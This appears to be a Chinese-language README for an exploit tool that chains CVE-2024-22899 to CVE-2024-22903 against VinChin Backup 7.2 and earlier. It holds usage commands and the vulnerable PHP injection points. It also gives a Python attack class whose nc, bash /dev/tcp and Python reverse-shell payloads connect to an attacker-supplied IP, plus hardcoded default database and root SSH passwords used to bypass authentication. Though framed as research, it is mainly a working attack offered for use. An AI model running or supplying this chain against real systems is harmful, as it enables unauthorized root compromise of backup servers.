VinChin Backup 漏洞利用链 (CVE-2024-22899 至 CVE-2024-22903)
本项目提供了一个针对 VinChin Backup 系统 7.2 及之前版本的安全研究工具。它整合了从 CVE-2024-22899 到 CVE-2024-22903 的一系列漏洞,实现了从无需凭证的身份认证绕过到远程代码执行(RCE) 的完整攻击链。该工具仅用于教育、安全研究和授权的渗透测试。
✨ 功能特性
- 多漏洞集成利用:自动链式利用 CVE-2024-22899 至 CVE-2024-22903,实现从初始访问到完全控制。
- 多种认证绕过方式:
- 无凭证攻击:利用 CVE-2024-22902 尝试通过 SSH 以
root用户身份连接。 - 数据库哈希覆盖:利用 CVE-2024-22901,使用默认数据库凭证 (
vinchin/yunqi123456) 重写管理员密码哈希。
- 无凭证攻击:利用 CVE-2024-22902 尝试通过 SSH 以
- 多向量远程代码执行:支持通过不同的后端接口触发命令注入,包括
setNetworkCardInfo,syncNtpTime,deleteUpdateAPK,getVerifydiyResult等。 - 多种反弹 Shell 载荷:内置
nc,bash,python,perl,php等多种反向连接载荷,灵活适配不同目标环境。 - 自动化 Web 驱动:集成 Selenium 和 Chrome WebDriver,自动化处理登录、会话维持和漏洞触发流程。
- 浏览器兼容性:明确指定使用 Chrome 114 版本,确保 WebDriver 交互的稳定性和成功率。
📋 安装指南
系统要求
- 操作系统:Linux / macOS / Windows (需安装对应版本的 Chrome)
- Chrome 浏览器:必须安装 版本 114 以确保与 WebDriver 兼容
- Python 版本:3.7 或更高
安装步骤
-
克隆仓库
git clone https://github.com/your-repo/vinchin-exploit-chain.git cd vinchin-exploit-chain -
安装依赖 项目依赖项通过
requirements.txt管理。使用 pip 进行安装:pip install -r requirements.txt主要依赖包括:
selenium:自动化 Web 浏览器交互requests:发送 HTTP 请求mysql-connector-python:数据库连接操作fake-useragent:生成随机 User-Agentwebdriver-manager:自动管理 ChromeDriverpwncat/rich:辅助功能库
-
准备 Chrome 浏览器 确保系统中已安装 Chrome 114 版本。可以使用以下命令检查版本:
google-chrome --version
🚀 使用说明
基础用法
python exploit.py -u <目标登录页面URL> -rip <反弹Shell IP> -rport <反弹Shell端口> --payload_type <漏洞类型> --payload <载荷类型>
参数详解
| 参数 | 说明 | 示例 |
|---|---|---|
-h, --help | 显示帮助信息 | |
-u URL | 必需。目标系统的登录页面 URL | -u https://192.168.1.100 |
-user USERNAME | 登录用户名(使用认证绕过时可选) | -user admin |
-p PASSWORD | 登录密码(使用认证绕过时可选) | -p password123 |
-rip RSHELL_IP | 必需。接收反向 Shell 的 IP 地址 | -rip 192.168.1.50 |
-rport RSHELL_PORT | 必需。接收反向 Shell 的端口 | -rport 4444 |
--payload_type | 指定用于触发 RCE 的漏洞接口类型 | --payload_type syncNtpTime |
--payload | 指定要执行的反弹 Shell 载荷类型(默认为 nc) | --payload bash |
使用场景与示例
场景一:使用已知凭据进行 RCE
如果拥有系统有效账号,可以直接使用用户名和密码执行攻击。
# 使用 syncNtpTime 漏洞接口,通过 bash 反弹 Shell
python exploit.py -u https://target.vinchin.com -user admin -p mypassword -rip 192.168.1.100 -rport 4444 --payload_type syncNtpTime --payload bash
场景二:无需凭证,利用 CVE-2024-22902 (SSH 绕过)
如果系统开放 SSH 服务且存在该漏洞,可以直接尝试无凭证利用。
python exploit.py -u https://target.vinchin.com -rip 192.168.1.100 -rport 4444 --payload_type setNetworkCardInfo --payload nc
场景三:利用 CVE-2024-22901 (数据库哈希覆盖)
当 SSH 不可用但数据库可访问时,通过覆盖管理员密码进行认证。
python exploit.py -u https://target.vinchin.com -rip 192.168.1.100 -rport 4444 --payload_type deleteUpdateAPK --payload python
核心漏洞载荷接口
payload_type 值 | 对应漏洞方法 | 描述 |
|---|---|---|
setNetworkCardInfo | setNetworkCardInfo | 通过网卡配置接口注入命令 |
syncNtpTime | syncNtpTime | 利用 NTP 时间同步功能执行系统命令 |
deleteUpdateAPK | deleteUpdateAPK | 通过文件删除操作中的命令拼接实现注入 |
getVerifydiyResult | getVerifydiyResult | 利用 Ping 验证功能 (verifyPing) 执行命令 |
💎 核心代码
1. 命令注入漏洞示例 (syncNtpTime)
以下代码片段展示了 SystemHandler 类中的 syncNtpTime 方法。由于直接将用户输入的 ntphost 参数拼接到 ntpdate 命令中,导致存在命令注入漏洞。
<?php
class SystemHandler extends OPHandler {
public function syncNtpTime($params){
// 用户输入的 ntp host 未被充分过滤
$ntphost = $params['ntphost'];
$this->paramsCheck($ntphost);
// 停止 ntpd 服务
$cmd = "systemctl stop ntpd";
// ... 执行命令 ...
// 漏洞点:将用户输入直接拼接到系统命令中
$cmd = "ntpdate " . $ntphost; // 此处可注入恶意命令,如 ; id
$opName = 'PT_SYSTEM_BACKGROUND_OP_DO_COMMAND';
$msg = array('command'=>$cmd);
$mbResult = $this->mbPFMsg($opName, json_encode($msg), true);
// ... 后续逻辑 ...
}
}
?>
2. 命令注入漏洞示例 (getVerifydiyResult)
getVerifydiyResult 方法中的 verifyPing 私有方法同样存在命令注入风险。$ip 参数直接被传入 exec 函数。
<?php
public function getVerifydiyResult($params){
$type = intval($params['type']);
$value = $params['value'];
$this->paramsCheck($type, $value);
$verifyResult = false;
$verifyType = Xphp::$_config['VERIFY_TYPE'];
switch ($type){
case $verifyType['IP']:
// 调用存在漏洞的验证方法
$verifyResult = $this->verifyPing($value);
break;
// ... 其他 case ...
}
// ... 返回结果 ...
}
/**
* ping 验证 - 存在命令注入漏洞
* @param string $ip
* @return boolean
*/
private function verifyPing($ip){
// 直接将用户输入拼接到命令中
exec("ping -c 1 $ip", $outcome, $status);
$result = 0 == $status ? true : false;
return $result;
}
?>
3. Python 利用脚本核心类 (VinchinRCE)
VinchinRCE 类封装了主要的攻击逻辑,包括初始化、浏览器驱动设置、载荷生成等。
# -*- coding: utf-8 -*-
import re
import sys
import time
import json
import random
import string
import socket
import hashlib
import requests
import binascii
import argparse
import threading
import pwncat.manager
import mysql.connector
from selenium import webdriver
from rich.console import Console
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager
class VinchinRCE:
def __init__(
self,
url: str,
payload: str,
username: str,
password: str,
rshell_ip: str,
rshell_port: str,
payload_type: str,
):
self.url = url
self.username = username
self.password = password
self.rshell_ip = rshell_ip
self.rshell_port = rshell_port
self.payload_type = payload_type
self.console = Console()
# 初始化 WebDriver
self.driver = self.setup_driver()
# 支持多种反弹 Shell 载荷
self.payloads = {
"nc": f"nc -e /bin/bash {self.rshell_ip} {self.rshell_port}",
"bash": f"bash -i >& /dev/tcp/{self.rshell_ip}/{self.rshell_port} 0>&1",
"python": (
f"python -c 'import os,pty,socket;"
f's=socket.socket();s.connect(("{self.rshell_ip}",{self.rshell_port}));'
# ... 完整 Python 反弹 Shell 代码 ...
),
# ... 其他载荷 ...
}
def setup_driver(self):
"""配置并启动 Chrome WebDriver"""
chrome_options = Options()
chrome_options.add_argument('--headless') # 无头模式
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('--disable-dev-shm-usage')
# 使用 WebDriver Manager 自动管理驱动版本
service = Service(ChromeDriverManager().install())
driver = webdriver.Chrome(service=service, options=chrome_options)
return driver
def exploit(self):
"""执行完整的漏洞利用流程"""
# 1. 处理认证(正常登录、SSH绕过或数据库哈希覆盖)
if not self.authenticate():
self.console.log("[!] Authentication failed")
return False
# 2. 根据指定的 payload_type 触发命令注入
if self.payload_type == "syncNtpTime":
self.trigger_syncNtpTime()
elif self.payload_type == "deleteUpdateAPK":
self.trigger_deleteUpdateAPK()
# ... 其他漏洞触发方法 ...
# 3. 监听并建立反向 Shell 连接
self.listen_for_shell()
return True
4. 默认数据库凭证与权限提升
代码中硬编码了默认数据库凭证,这为 CVE-2024-22901 的利用提供了基础。
class VinchinRCE:
def __init__(self, ...):
# ...
# 默认的 Vinchin 数据库用户凭证
self.db_user = "vinchin"
self.db_password = "yunqi123456"
self.db_name = "vinchin_db"
# 系统 root 用户的默认密码,用于 CVE-2024-22902 (SSH)
self.root_user = "root"
self.root_password = "Backup@3R"
# ...
6HFtX5dABrKlqXeO5PUv/8Bqv3v+Hrg0lgkM4CEREWS5sKLbf9wjcLnoqdfBegmjSxK9YFn8z629bvyMMiXW7g==